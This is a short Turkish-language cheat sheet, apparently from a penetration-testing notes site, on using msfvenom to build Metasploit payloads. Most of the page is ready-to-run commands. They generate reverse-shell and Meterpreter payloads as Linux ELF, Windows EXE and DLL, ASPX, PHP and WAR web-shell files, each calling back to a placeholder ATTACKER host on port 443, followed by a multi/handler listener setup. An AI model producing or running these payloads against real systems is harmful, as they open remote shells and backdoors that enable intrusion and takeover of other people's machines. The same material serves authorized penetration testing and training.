Skip to content

msfvenom

generic difficulty: kolay

msfvenom, Metasploit payload üreticisidir. Mimari, format ve encoder seçimi hedefin OS/AV profiline göre yapılır; handler ile aynı payload ailesi kullanılmalıdır.

  1. Hedef OS/arch seç (linux/x64, windows/x64, …).

  2. Format belirle (elf, exe, dll, aspx, raw…).

  3. LHOST/LPORT ayarla; çıktıyı transfer et; multi/handler ile dinle.

Terminal window
msfvenom -l payloads | rg -i 'reverse_tcp|windows/x64|linux/x64'
Terminal window
msfvenom -l formats
Terminal window
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f elf -o rev.elf
Terminal window
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=443 -f elf -o met.elf
Terminal window
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f exe -o rev.exe
Terminal window
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=443 -f exe -o met.exe
Terminal window
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o met.dll
Terminal window
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=443 -f aspx -o shell.aspx
Terminal window
msfvenom -p php/reverse_php LHOST=ATTACKER LPORT=443 -f raw -o shell.php
Terminal window
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f war -o shell.war
Terminal window
msfconsole -q -x "use exploit/multi/handler
Terminal window
set payload windows/x64/meterpreter/reverse_tcp
Terminal window
set LHOST ATTACKER
Terminal window
set LPORT 443
Terminal window
run"